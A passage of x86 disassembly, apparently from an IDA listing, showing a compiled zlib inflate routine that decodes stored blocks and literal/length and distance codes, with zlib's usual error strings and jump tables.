		mov	dword ptr [ebx], 9
		mov	dword ptr [eax+18h], offset aInvalidStoredB ; "invalid stored block lengths"
		mov	[ebx+20h], esi
		mov	[ebx+1Ch], ecx
		jmp	short loc_41F59E
; ---------------------------------------------------------------------------


loc_41F601:				; CODE XREF: sub_41EF26+1A7j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_10]
		mov	[ebx+20h], eax
		mov	eax, [ebp+var_4]
		mov	[ebx+1Ch], eax
		mov	eax, [ebp+arg_4]
		mov	edx, ecx
		sub	edx, [eax]
		and	dword ptr [eax+4], 0
		mov	[eax], ecx
		add	[eax+8], edx
		jmp	short loc_41F667
; ---------------------------------------------------------------------------


loc_41F622:				; CODE XREF: sub_41EF26+242j
		mov	eax, [ebp+arg_0]
		mov	[ebx+20h], eax
		mov	eax, [ebp+var_4]
		mov	[ebx+1Ch], eax
		mov	eax, [ebp+var_8]
		mov	[esi+4], eax
		mov	eax, [ebp+var_10]
		mov	ecx, eax
		sub	ecx, [esi]
		mov	[esi], eax
		add	[esi+8], ecx
		mov	[ebx+34h], edx


loc_41F643:				; CODE XREF: sub_41EF26+806j
		push	[ebp+arg_8]
		jmp	loc_41F7FD
; ---------------------------------------------------------------------------


loc_41F64B:				; CODE XREF: sub_41EF26+29Cj
		mov	eax, [ebp+arg_0]
		mov	ecx, edi
		mov	[ebx+20h], eax
		mov	eax, [ebp+var_4]
		mov	[ebx+1Ch], eax
		mov	eax, [ebp+arg_4]
		sub	ecx, [eax]
		and	dword ptr [eax+4], 0
		mov	[eax], edi
		add	[eax+8], ecx


loc_41F667:				; CODE XREF: sub_41EF26+657j
					; sub_41EF26+6FAj
		mov	ecx, [ebp+var_C]
		push	[ebp+arg_8]
		mov	[ebx+34h], ecx
		jmp	loc_41F854
; ---------------------------------------------------------------------------


loc_41F675:				; CODE XREF: sub_41EF26+30Bj
					; sub_41EF26+596j
		mov	eax, [ebp+arg_0]
		push	0FFFFFFFCh
		mov	[ebx+20h], eax
		mov	eax, [ebp+var_4]
		mov	[ebx+1Ch], eax
		mov	eax, [ebp+var_8]
		mov	[esi+4], eax
		mov	eax, edi
		sub	eax, [esi]
		mov	[esi], edi
		add	[esi+8], eax
		mov	eax, [ebp+var_C]
		mov	[ebx+34h], eax
		jmp	loc_41F7FD
; ---------------------------------------------------------------------------


loc_41F69D:				; CODE XREF: sub_41EF26+2D0j
					; sub_41EF26+2E4j
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ebx], 9
		mov	dword ptr [eax+18h], offset aTooManyLengthO ; "too many	length or distance symbols"
		mov	[ebx+20h], ecx
		mov	ecx, [ebp+var_4]
		mov	[ebx+1Ch], ecx
		mov	ecx, [ebp+var_8]
		mov	[eax+4], ecx
		mov	ecx, edi
		sub	ecx, [eax]
		mov	[eax], edi
		add	[eax+8], ecx
		jmp	loc_41F821
; ---------------------------------------------------------------------------


loc_41F6CD:				; CODE XREF: sub_41EF26+3D2j
		cmp	[ebp+var_14], 0FFFFFFFDh


loc_41F6D1:				; CODE XREF: sub_41EF26+857j
		jnz	short loc_41F6E4
		push	dword ptr [ebx+0Ch]
		push	dword ptr [esi+28h]
		call	dword ptr [esi+24h]
		pop	ecx
		mov	dword ptr [ebx], 9
		pop	ecx


loc_41F6E4:				; CODE XREF: sub_41EF26:loc_41F6D1j
		mov	eax, [ebp+arg_0]
		push	[ebp+var_14]
		mov	[ebx+20h], eax
		mov	eax, [ebp+var_4]
		mov	[ebx+1Ch], eax
		mov	eax, [ebp+var_8]
		mov	[esi+4], eax
		mov	eax, edi
		sub	eax, [esi]
		mov	[esi], edi
		add	[esi+8], eax
		mov	eax, [ebp+var_C]
		mov	[ebx+34h], eax
		jmp	loc_41F7FD
; ---------------------------------------------------------------------------


loc_41F70D:				; CODE XREF: sub_41EF26+345j
					; sub_41EF26+415j ...
		mov	eax, [ebp+arg_0]
		mov	[ebx+20h], eax
		mov	eax, [ebp+var_4]
		mov	[ebx+1Ch], eax
		and	dword ptr [esi+4], 0
		mov	eax, edi
		sub	eax, [esi]
		mov	[esi], edi
		add	[esi+8], eax
		mov	eax, [ebp+var_C]
		mov	[ebx+34h], eax
		jmp	loc_41F643
; ---------------------------------------------------------------------------


loc_41F731:				; CODE XREF: sub_41EF26+4F9j
					; sub_41EF26+508j
		push	dword ptr [ebx+0Ch]
		push	dword ptr [esi+28h]
		call	dword ptr [esi+24h]
		mov	eax, [ebp+arg_0]
		mov	dword ptr [ebx], 9
		mov	dword ptr [esi+18h], offset aInvalidBitLeng ; "invalid bit length repeat"
		mov	[ebx+20h], eax
		mov	eax, [ebp+var_4]
		push	0FFFFFFFDh
		mov	[ebx+1Ch], eax
		mov	eax, [ebp+var_8]
		mov	[esi+4], eax
		mov	eax, edi
		sub	eax, [esi]
		push	esi
		mov	[esi], edi
		push	ebx
		add	[esi+8], eax
		mov	eax, [ebp+var_C]
		mov	[ebx+34h], eax
		call	sub_420BB9
		add	esp, 14h
		jmp	loc_41F85E
; ---------------------------------------------------------------------------


loc_41F779:				; CODE XREF: sub_41EF26+579j
		cmp	[ebp+var_14], 0FFFFFFFDh
		jmp	loc_41F6D1
; ---------------------------------------------------------------------------


loc_41F782:				; CODE XREF: sub_41EF26+633j
		mov	dword ptr [ebx], 7
		jmp	short loc_41F793
; ---------------------------------------------------------------------------


loc_41F78A:				; CODE XREF: sub_41EF26+4Bj
					; DATA XREF: _3:off_41F863o
		mov	edi, [ebp+var_10] ; jumptable 0041EF71 case 7
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+var_C]


loc_41F793:				; CODE XREF: sub_41EF26+862j
		push	[ebp+arg_8]
		mov	[ebx+34h], ecx
		push	esi
		push	ebx
		call	sub_420BB9
		mov	ecx, [ebx+34h]
		add	esp, 0Ch
		cmp	[ebx+30h], ecx
		jz	short loc_41F7CC
		mov	edx, [ebp+arg_0]
		mov	[ebx+20h], edx
		mov	edx, [ebp+var_4]
		mov	[ebx+1Ch], edx
		mov	edx, [ebp+var_8]
		mov	[esi+4], edx
		mov	edx, edi
		sub	edx, [esi]
		mov	[esi], edi
		add	[esi+8], edx
		mov	[ebx+34h], ecx


loc_41F7C9:				; CODE XREF: sub_41EF26+5E9j
		push	eax
		jmp	short loc_41F7FD
; ---------------------------------------------------------------------------


loc_41F7CC:				; CODE XREF: sub_41EF26+883j
		mov	dword ptr [ebx], 8
		jmp	short loc_41F7DD
; ---------------------------------------------------------------------------


loc_41F7D4:				; CODE XREF: sub_41EF26+4Bj
					; DATA XREF: _3:off_41F863o
		mov	edi, [ebp+var_10] ; jumptable 0041EF71 case 8
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+var_C]


loc_41F7DD:				; CODE XREF: sub_41EF26+8ACj
		mov	eax, [ebp+arg_0]
		push	1
		mov	[ebx+20h], eax
		mov	eax, [ebp+var_4]
		mov	[ebx+1Ch], eax
		mov	eax, [ebp+var_8]
		mov	[esi+4], eax
		mov	eax, edi
		sub	eax, [esi]
		mov	[esi], edi
		add	[esi+8], eax
		mov	[ebx+34h], ecx


loc_41F7FD:				; CODE XREF: sub_41EF26+720j
					; sub_41EF26+772j ...
		push	esi
		jmp	short loc_41F855
; ---------------------------------------------------------------------------


loc_41F800:				; CODE XREF: sub_41EF26+4Bj
					; DATA XREF: _3:off_41F863o
		mov	eax, [ebp+arg_0] ; jumptable 0041EF71 case 9
		mov	ecx, [ebp+var_8]
		mov	[ebx+20h], eax
		mov	eax, [ebp+var_4]
		mov	[ebx+1Ch], eax
		mov	eax, [ebp+arg_4]
		mov	[eax+4], ecx
		mov	ecx, [ebp+var_10]
		mov	edx, ecx
		sub	edx, [eax]
		mov	[eax], ecx
		add	[eax+8], edx


loc_41F821:				; CODE XREF: sub_41EF26+687j
					; sub_41EF26+7A2j
		mov	ecx, [ebp+var_C]
		push	0FFFFFFFDh
		mov	[ebx+34h], ecx
		jmp	short loc_41F854
; ---------------------------------------------------------------------------


loc_41F82B:				; CODE XREF: sub_41EF26+45j
		mov	eax, [ebp+arg_0] ; default
		mov	ecx, [ebp+var_8]
		mov	[ebx+20h], eax
		mov	eax, [ebp+var_4]
		mov	[ebx+1Ch], eax
		mov	eax, [ebp+arg_4]
		push	0FFFFFFFEh
		mov	[eax+4], ecx
		mov	ecx, [ebp+var_10]
		mov	edx, ecx
		sub	edx, [eax]
		mov	[eax], ecx
		mov	ecx, [ebp+var_C]
		add	[eax+8], edx
		mov	[ebx+34h], ecx


loc_41F854:				; CODE XREF: sub_41EF26+74Aj
					; sub_41EF26+903j
		push	eax


loc_41F855:				; CODE XREF: sub_41EF26+6B0j
					; sub_41EF26+8D8j
		push	ebx
		call	sub_420BB9
		add	esp, 0Ch


loc_41F85E:				; CODE XREF: sub_41EF26+84Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EF26	endp

; ---------------------------------------------------------------------------
off_41F863	dd offset loc_41EF78	; DATA XREF: sub_41EF26+4Br
		dd offset loc_41F056	; jump table for switch	statement
		dd offset loc_41F0C9
		dd offset loc_41F1B3
		dd offset loc_41F24B
		dd offset loc_41F309
		dd offset loc_41F4D8
		dd offset loc_41F78A
		dd offset loc_41F7D4
		dd offset loc_41F800

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F88B	proc near		; CODE XREF: sub_4201DB+21p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		mov	edi, [ebp+arg_0]
		push	0
		push	esi
		push	edi
		call	sub_41EE2E
		push	dword ptr [edi+28h]
		push	dword ptr [esi+28h]
		call	dword ptr [esi+24h]
		push	dword ptr [edi+24h]
		push	dword ptr [esi+28h]
		call	dword ptr [esi+24h]
		push	edi
		push	dword ptr [esi+28h]
		call	dword ptr [esi+24h]
		add	esp, 24h
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41F88B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F8C1	proc near		; CODE XREF: sub_41EF26+E8p
					; sub_41EF26+58Cp

arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_10]
		push	1Ch
		push	1
		push	dword ptr [eax+28h]
		call	dword ptr [eax+20h]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41F8F3
		mov	cl, [ebp+arg_0]
		and	dword ptr [eax], 0
		mov	[eax+10h], cl
		mov	cl, [ebp+arg_4]
		mov	[eax+11h], cl
		mov	ecx, [ebp+arg_8]
		mov	[eax+14h], ecx
		mov	ecx, [ebp+arg_C]
		mov	[eax+18h], ecx


loc_41F8F3:				; CODE XREF: sub_41F8C1+15j
		pop	ebp
		retn
sub_41F8C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F8F5	proc near		; CODE XREF: sub_41EF26+5DEp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, [esi]
		mov	[ebp+var_4], eax
		mov	eax, [esi+4]
		mov	edx, [edi+34h]
		mov	[ebp+var_8], eax
		mov	eax, [edi+20h]
		mov	ebx, [edi+4]
		mov	[ebp+arg_4], eax
		mov	eax, [edi+1Ch]
		mov	[ebp+arg_0], eax
		mov	eax, [edi+30h]
		cmp	edx, eax
		jnb	short loc_41F92D
		sub	eax, edx
		dec	eax
		jmp	short loc_41F932
; ---------------------------------------------------------------------------


loc_41F92D:				; CODE XREF: sub_41F8F5+31j
		mov	eax, [edi+2Ch]
		sub	eax, edx


loc_41F932:				; CODE XREF: sub_41F8F5+36j
		mov	[ebp+var_C], eax


loc_41F935:				; CODE XREF: sub_41F8F5+E9j
					; sub_41F8F5+16Ej ...
		mov	ecx, [ebx]
		cmp	ecx, 9		; switch 10 cases
		ja	loc_41FE59	; default
		jmp	ds:off_41FE8B[ecx*4] ; switch jump


loc_41F947:				; DATA XREF: _3:off_41FE8Bo
		cmp	eax, 102h	; jumptable 0041F940 case 0
		jb	loc_41F9E3
		cmp	[ebp+var_8], 0Ah
		jb	loc_41F9E3
		mov	eax, [ebp+arg_4]
		push	esi
		mov	[edi+20h], eax
		mov	eax, [ebp+arg_0]
		mov	[edi+1Ch], eax
		mov	eax, [ebp+var_8]
		mov	[esi+4], eax
		mov	eax, [ebp+var_4]
		mov	ecx, eax
		push	edi
		sub	ecx, [esi]
		mov	[esi], eax
		add	[esi+8], ecx
		mov	[edi+34h], edx
		push	dword ptr [ebx+18h]
		movzx	eax, byte ptr [ebx+11h]
		push	dword ptr [ebx+14h]
		push	eax
		movzx	eax, byte ptr [ebx+10h]
		push	eax
		call	sub_41FEC6
		mov	[ebp+arg_8], eax
		mov	eax, [esi]
		mov	[ebp+var_4], eax
		mov	eax, [esi+4]
		mov	edx, [edi+34h]
		mov	[ebp+var_8], eax
		mov	eax, [edi+20h]
		add	esp, 18h
		mov	[ebp+arg_4], eax
		mov	eax, [edi+1Ch]
		mov	[ebp+arg_0], eax
		mov	eax, [edi+30h]
		cmp	edx, eax
		jnb	short loc_41F9C0
		sub	eax, edx
		dec	eax
		jmp	short loc_41F9C5
; ---------------------------------------------------------------------------


loc_41F9C0:				; CODE XREF: sub_41F8F5+C4j
		mov	eax, [edi+2Ch]
		sub	eax, edx


loc_41F9C5:				; CODE XREF: sub_41F8F5+C9j
		cmp	[ebp+arg_8], 0
		mov	[ebp+var_C], eax
		jz	short loc_41F9E3
		mov	ecx, [ebp+arg_8]
		dec	ecx
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 2
		add	ecx, 7
		mov	[ebx], ecx
		jmp	loc_41F935
; ---------------------------------------------------------------------------


loc_41F9E3:				; CODE XREF: sub_41F8F5+57j
					; sub_41F8F5+61j ...
		movzx	eax, byte ptr [ebx+10h]
		mov	[ebx+0Ch], eax
		mov	eax, [ebx+14h]
		mov	[ebx+8], eax
		mov	dword ptr [ebx], 1


loc_41F9F6:				; CODE XREF: sub_41F8F5+4Bj
					; sub_41F8F5+12Fj
					; DATA XREF: ...
		mov	eax, [ebx+0Ch]	; jumptable 0041F940 case 1
		cmp	[ebp+arg_0], eax
		jnb	short loc_41FA26
		cmp	[ebp+var_8], 0
		jz	loc_41FD63
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		and	[ebp+arg_8], 0
		dec	[ebp+var_8]
		movzx	eax, byte ptr [eax]
		shl	eax, cl
		or	[ebp+arg_4], eax
		inc	[ebp+var_4]
		add	[ebp+arg_0], 8
		jmp	short loc_41F9F6 ; jumptable 0041F940 case 1
; ---------------------------------------------------------------------------


loc_41FA26:				; CODE XREF: sub_41F8F5+107j
		mov	eax, ds:dword_423318[eax*4]
		mov	ecx, [ebx+8]
		and	eax, [ebp+arg_4]
		lea	eax, [ecx+eax*8]
		mov	[ebp+var_14], eax
		movzx	ecx, byte ptr [eax+1]
		movzx	eax, byte ptr [eax+1]
		sub	[ebp+arg_0], eax
		mov	eax, [ebp+var_14]
		shr	[ebp+arg_4], cl
		movzx	ecx, byte ptr [eax]
		test	ecx, ecx
		mov	[ebp+var_18], ecx
		jnz	short loc_41FA68
		mov	eax, [eax+4]
		mov	dword ptr [ebx], 6
		mov	[ebx+8], eax


loc_41FA60:				; CODE XREF: sub_41F8F5+18Dj
					; sub_41F8F5+1A7j ...
		mov	eax, [ebp+var_C]
		jmp	loc_41F935
; ---------------------------------------------------------------------------


loc_41FA68:				; CODE XREF: sub_41F8F5+15Dj
		mov	ecx, [ebp+var_18]
		test	cl, 10h
		jz	short loc_41FA84
		and	ecx, 0Fh
		mov	[ebx+8], ecx
		mov	eax, [eax+4]
		mov	[ebx+4], eax
		mov	dword ptr [ebx], 2
		jmp	short loc_41FA60
; ---------------------------------------------------------------------------


loc_41FA84:				; CODE XREF: sub_41F8F5+179j
		test	cl, 40h
		jz	loc_41FB75
		test	cl, 20h
		jz	loc_41FD75
		mov	dword ptr [ebx], 7
		jmp	short loc_41FA60
; ---------------------------------------------------------------------------


loc_41FA9E:				; CODE XREF: sub_41F8F5+4Bj
					; sub_41F8F5+1D7j
					; DATA XREF: ...
		mov	eax, [ebx+8]	; jumptable 0041F940 case 2
		cmp	[ebp+arg_0], eax
		jnb	short loc_41FACE
		cmp	[ebp+var_8], 0
		jz	loc_41FD63
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		and	[ebp+arg_8], 0
		dec	[ebp+var_8]
		movzx	eax, byte ptr [eax]
		shl	eax, cl
		or	[ebp+arg_4], eax
		inc	[ebp+var_4]
		add	[ebp+arg_0], 8
		jmp	short loc_41FA9E ; jumptable 0041F940 case 2
; ---------------------------------------------------------------------------


loc_41FACE:				; CODE XREF: sub_41F8F5+1AFj
		mov	eax, ds:dword_423318[eax*4]
		mov	ecx, [ebx+8]
		and	eax, [ebp+arg_4]
		mov	dword ptr [ebx], 3
		shr	[ebp+arg_4], cl
		add	[ebx+4], eax
		mov	eax, ecx
		sub	[ebp+arg_0], eax
		movzx	eax, byte ptr [ebx+11h]
		mov	[ebx+0Ch], eax
		mov	eax, [ebx+18h]
		mov	[ebx+8], eax


loc_41FAF9:				; CODE XREF: sub_41F8F5+4Bj
					; sub_41F8F5+232j
					; DATA XREF: ...
		mov	eax, [ebx+0Ch]	; jumptable 0041F940 case 3
		cmp	[ebp+arg_0], eax
		jnb	short loc_41FB29
		cmp	[ebp+var_8], 0
		jz	loc_41FD63
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		and	[ebp+arg_8], 0
		dec	[ebp+var_8]
		movzx	eax, byte ptr [eax]
		shl	eax, cl
		or	[ebp+arg_4], eax
		inc	[ebp+var_4]
		add	[ebp+arg_0], 8
		jmp	short loc_41FAF9 ; jumptable 0041F940 case 3
; ---------------------------------------------------------------------------


loc_41FB29:				; CODE XREF: sub_41F8F5+20Aj
		mov	eax, ds:dword_423318[eax*4]
		mov	ecx, [ebx+8]
		and	eax, [ebp+arg_4]
		lea	eax, [ecx+eax*8]
		mov	[ebp+var_14], eax
		movzx	ecx, byte ptr [eax+1]
		movzx	eax, byte ptr [eax+1]
		sub	[ebp+arg_0], eax
		mov	eax, [ebp+var_14]
		shr	[ebp+arg_4], cl
		movzx	ecx, byte ptr [eax]
		test	cl, 10h
		jz	short loc_41FB6C
		and	ecx, 0Fh
		mov	[ebx+8], ecx
		mov	eax, [eax+4]
		mov	[ebx+0Ch], eax
		mov	dword ptr [ebx], 4
		jmp	loc_41FA60
; ---------------------------------------------------------------------------


loc_41FB6C:				; CODE XREF: sub_41F8F5+25Ej
		test	cl, 40h
		jnz	loc_41FDAA


loc_41FB75:				; CODE XREF: sub_41F8F5+192j
		mov	[ebx+0Ch], ecx
		mov	ecx, [eax+4]
		lea	eax, [eax+ecx*8]
		mov	[ebx+8], eax
		jmp	loc_41FA60
; ---------------------------------------------------------------------------


loc_41FB86:				; CODE XREF: sub_41F8F5+4Bj
					; sub_41F8F5+2BFj
					; DATA XREF: ...
		mov	eax, [ebx+8]	; jumptable 0041F940 case 4
		cmp	[ebp+arg_0], eax
		jnb	short loc_41FBB6
		cmp	[ebp+var_8], 0
		jz	loc_41FD63
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		and	[ebp+arg_8], 0
		dec	[ebp+var_8]
		movzx	eax, byte ptr [eax]
		shl	eax, cl
		or	[ebp+arg_4], eax
		inc	[ebp+var_4]
		add	[ebp+arg_0], 8
		jmp	short loc_41FB86 ; jumptable 0041F940 case 4
; ---------------------------------------------------------------------------


loc_41FBB6:				; CODE XREF: sub_41F8F5+297j
		mov	eax, ds:dword_423318[eax*4]
		mov	ecx, [ebx+8]
		and	eax, [ebp+arg_4]
		mov	dword ptr [ebx], 5
		shr	[ebp+arg_4], cl
		add	[ebx+0Ch], eax
		mov	eax, ecx
		sub	[ebp+arg_0], eax


loc_41FBD4:				; CODE XREF: sub_41F8F5+4Bj
					; DATA XREF: _3:off_41FE8Bo
		mov	ecx, [edi+28h]	; jumptable 0041F940 case 5
		mov	eax, edx
		sub	eax, [ebx+0Ch]
		cmp	eax, ecx
		mov	[ebp+var_10], eax
		jnb	short loc_41FBF9
		mov	eax, [edi+2Ch]
		sub	eax, ecx
		mov	[ebp+var_18], eax


loc_41FBEB:				; CODE XREF: sub_41F8F5+302j
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_18]
		cmp	eax, [edi+28h]
		mov	[ebp+var_10], eax
		jb	short loc_41FBEB


loc_41FBF9:				; CODE XREF: sub_41F8F5+2ECj
		cmp	dword ptr [ebx+4], 0
		mov	eax, [ebp+var_C]
		jz	loc_41FCBE


loc_41FC06:				; CODE XREF: sub_41F8F5+3C3j
		test	eax, eax
		jnz	loc_41FC94
		mov	eax, [edi+2Ch]
		cmp	edx, eax
		mov	[ebp+var_14], eax
		jnz	short loc_41FC36
		mov	eax, [edi+30h]
		mov	ecx, [edi+28h]
		cmp	eax, ecx
		jz	short loc_41FC36
		mov	edx, ecx
		cmp	edx, eax
		jnb	short loc_41FC2D
		sub	eax, edx
		dec	eax
		jmp	short loc_41FC32
; ---------------------------------------------------------------------------


loc_41FC2D:				; CODE XREF: sub_41F8F5+331j
		mov	eax, [ebp+var_14]
		sub	eax, edx


loc_41FC32:				; CODE XREF: sub_41F8F5+336j
		test	eax, eax
		jnz	short loc_41FC94


loc_41FC36:				; CODE XREF: sub_41F8F5+321j
					; sub_41F8F5+32Bj
		push	[ebp+arg_8]
		mov	[edi+34h], edx
		push	esi
		push	edi
		call	sub_420BB9
		mov	edx, [edi+34h]
		mov	[ebp+arg_8], eax
		mov	eax, [edi+30h]
		add	esp, 0Ch
		cmp	edx, eax
		mov	[ebp+var_18], eax
		jnb	short loc_41FC5B
		sub	eax, edx
		dec	eax
		jmp	short loc_41FC60
; ---------------------------------------------------------------------------


loc_41FC5B:				; CODE XREF: sub_41F8F5+35Fj
		mov	eax, [edi+2Ch]
		sub	eax, edx


loc_41FC60:				; CODE XREF: sub_41F8F5+364j
		mov	ecx, [edi+2Ch]
		mov	[ebp+var_C], eax
		cmp	edx, ecx
		mov	[ebp+var_14], ecx
		jnz	short loc_41FC8C
		mov	ecx, [edi+28h]
		mov	eax, [ebp+var_18]
		cmp	eax, ecx
		jz	short loc_41FC89
		mov	edx, ecx
		cmp	edx, eax
		jnb	short loc_41FC82
		sub	eax, edx
		dec	eax
		jmp	short loc_41FC8C
; ---------------------------------------------------------------------------


loc_41FC82:				; CODE XREF: sub_41F8F5+386j
		mov	eax, [ebp+var_14]
		sub	eax, edx
		jmp	short loc_41FC8C
; ---------------------------------------------------------------------------


loc_41FC89:				; CODE XREF: sub_41F8F5+380j
		mov	eax, [ebp+var_C]


loc_41FC8C:				; CODE XREF: sub_41F8F5+376j
					; sub_41F8F5+38Bj ...
		test	eax, eax
		jz	loc_41FDB9


loc_41FC94:				; CODE XREF: sub_41F8F5+313j
					; sub_41F8F5+33Fj
		mov	ecx, [ebp+var_10]
		and	[ebp+arg_8], 0
		mov	cl, [ecx]
		mov	[edx], cl
		inc	edx
		inc	[ebp+var_10]
		dec	eax
		mov	ecx, [ebp+var_10]
		mov	[ebp+var_C], eax
		cmp	ecx, [edi+2Ch]
		jnz	short loc_41FCB5
		mov	ecx, [edi+28h]
		mov	[ebp+var_10], ecx


loc_41FCB5:				; CODE XREF: sub_41F8F5+3B8j
		dec	dword ptr [ebx+4]
		jnz	loc_41FC06


loc_41FCBE:				; CODE XREF: sub_41F8F5+30Bj
					; sub_41F8F5+469j
		and	dword ptr [ebx], 0
		jmp	loc_41F935
; ---------------------------------------------------------------------------


loc_41FCC6:				; CODE XREF: sub_41F8F5+4Bj
					; DATA XREF: _3:off_41FE8Bo
		test	eax, eax	; jumptable 0041F940 case 6
		jnz	loc_41FD50
		mov	eax, [edi+2Ch]
		cmp	edx, eax
		mov	[ebp+var_14], eax
		jnz	short loc_41FCF6
		mov	eax, [edi+30h]
		mov	ecx, [edi+28h]
		cmp	eax, ecx
		jz	short loc_41FCF6
		mov	edx, ecx
		cmp	edx, eax
		jnb	short loc_41FCED
		sub	eax, edx
		dec	eax
		jmp	short loc_41FCF2
; ---------------------------------------------------------------------------


loc_41FCED:				; CODE XREF: sub_41F8F5+3F1j
		mov	eax, [ebp+var_14]
		sub	eax, edx


loc_41FCF2:				; CODE XREF: sub_41F8F5+3F6j
		test	eax, eax
		jnz	short loc_41FD50


loc_41FCF6:				; CODE XREF: sub_41F8F5+3E1j
					; sub_41F8F5+3EBj
		push	[ebp+arg_8]
		mov	[edi+34h], edx
		push	esi
		push	edi
		call	sub_420BB9
		mov	edx, [edi+34h]
		mov	[ebp+arg_8], eax
		mov	eax, [edi+30h]
		add	esp, 0Ch
		cmp	edx, eax
		mov	[ebp+var_18], eax
		jnb	short loc_41FD1B
		sub	eax, edx
		dec	eax
		jmp	short loc_41FD20
; ---------------------------------------------------------------------------


loc_41FD1B:				; CODE XREF: sub_41F8F5+41Fj
		mov	eax, [edi+2Ch]
		sub	eax, edx


loc_41FD20:				; CODE XREF: sub_41F8F5+424j
		mov	ecx, [edi+2Ch]
		mov	[ebp+var_C], eax
		cmp	edx, ecx
		mov	[ebp+var_14], ecx
		jnz	short loc_41FD4C
		mov	ecx, [edi+28h]
		mov	eax, [ebp+var_18]
		cmp	eax, ecx
		jz	short loc_41FD49
		mov	edx, ecx
		cmp	edx, eax
		jnb	short loc_41FD42
		sub	eax, edx
		dec	eax
		jmp	short loc_41FD4C
; ---------------------------------------------------------------------------


loc_41FD42:				; CODE XREF: sub_41F8F5+446j
		mov	eax, [ebp+var_14]
		sub	eax, edx
		jmp	short loc_41FD4C
; ---------------------------------------------------------------------------


loc_41FD49:				; CODE XREF: sub_41F8F5+440j
		mov	eax, [ebp+var_C]


loc_41FD4C:				; CODE XREF: sub_41F8F5+436j
					; sub_41F8F5+44Bj ...
		test	eax, eax
		jz	short loc_41FDB9


loc_41FD50:				; CODE XREF: sub_41F8F5+3D3j
					; sub_41F8F5+3FFj
		mov	cl, [ebx+8]
		and	[ebp+arg_8], 0
		mov	[edx], cl
		inc	edx
		dec	eax
		mov	[ebp+var_C], eax
		jmp	loc_41FCBE
; ---------------------------------------------------------------------------


loc_41FD63:				; CODE XREF: sub_41F8F5+10Dj
					; sub_41F8F5+1B5j ...
		mov	eax, [ebp+arg_4]
		mov	[edi+20h], eax
		mov	eax, [ebp+arg_0]
		mov	[edi+1Ch], eax
		and	dword ptr [esi+4], 0
		jmp	short loc_41FDCB
; ---------------------------------------------------------------------------


loc_41FD75:				; CODE XREF: sub_41F8F5+19Bj
		mov	dword ptr [ebx], 9
		mov	dword ptr [esi+18h], offset aInvalidLiteral ; "invalid literal/length code"


loc_41FD82:				; CODE XREF: sub_41F8F5+4Bj
					; sub_41F8F5+4C2j
					; DATA XREF: ...
		mov	eax, [ebp+arg_4] ; jumptable 0041F940 case 9
		push	0FFFFFFFDh
		mov	[edi+20h], eax
		mov	eax, [ebp+arg_0]
		mov	[edi+1Ch], eax
		mov	eax, [ebp+var_8]
		mov	[esi+4], eax
		mov	eax, [ebp+var_4]
		mov	ecx, eax
		sub	ecx, [esi]
		mov	[esi], eax
		add	[esi+8], ecx
		mov	[edi+34h], edx
		jmp	loc_41FE7C
; ---------------------------------------------------------------------------


loc_41FDAA:				; CODE XREF: sub_41F8F5+27Aj
		mov	dword ptr [ebx], 9
		mov	dword ptr [esi+18h], offset aInvalidDistanc ; "invalid distance	code"
		jmp	short loc_41FD82 ; jumptable 0041F940 case 9
; ---------------------------------------------------------------------------


loc_41FDB9:				; CODE XREF: sub_41F8F5+399j
					; sub_41F8F5+459j
		mov	eax, [ebp+arg_4]
		mov	[edi+20h], eax
		mov	eax, [ebp+arg_0]
		mov	[edi+1Ch], eax
		mov	eax, [ebp+var_8]
		mov	[esi+4], eax


loc_41FDCB:				; CODE XREF: sub_41F8F5+47Ej
		mov	eax, [ebp+var_4]
		push	[ebp+arg_8]
		mov	ecx, eax
		sub	ecx, [esi]
		mov	[esi], eax
		add	[esi+8], ecx
		mov	[edi+34h], edx
		jmp	loc_41FE7C
; ---------------------------------------------------------------------------


loc_41FDE2:				; CODE XREF: sub_41F8F5+4Bj
					; DATA XREF: _3:off_41FE8Bo
		cmp	[ebp+arg_0], 7	; jumptable 0041F940 case 7
		jbe	short loc_41FDF2
		sub	[ebp+arg_0], 8
		inc	[ebp+var_8]
		dec	[ebp+var_4]


loc_41FDF2:				; CODE XREF: sub_41F8F5+4F1j
		push	[ebp+arg_8]
		mov	[edi+34h], edx
		push	esi
		push	edi
		call	sub_420BB9
		mov	edx, [edi+34h]
		add	esp, 0Ch
		cmp	[edi+30h], edx
		jz	short loc_41FE2E
		mov	ecx, [ebp+arg_4]
		push	eax
		mov	[edi+20h], ecx
		mov	ecx, [ebp+arg_0]
		mov	[edi+1Ch], ecx
		mov	ecx, [ebp+var_8]
		mov	[esi+4], ecx
		mov	ecx, [ebp+var_4]
		mov	ebx, ecx
		sub	ebx, [esi]
		mov	[esi], ecx
		add	[esi+8], ebx
		mov	[edi+34h], edx
		jmp	short loc_41FE7C
; ---------------------------------------------------------------------------


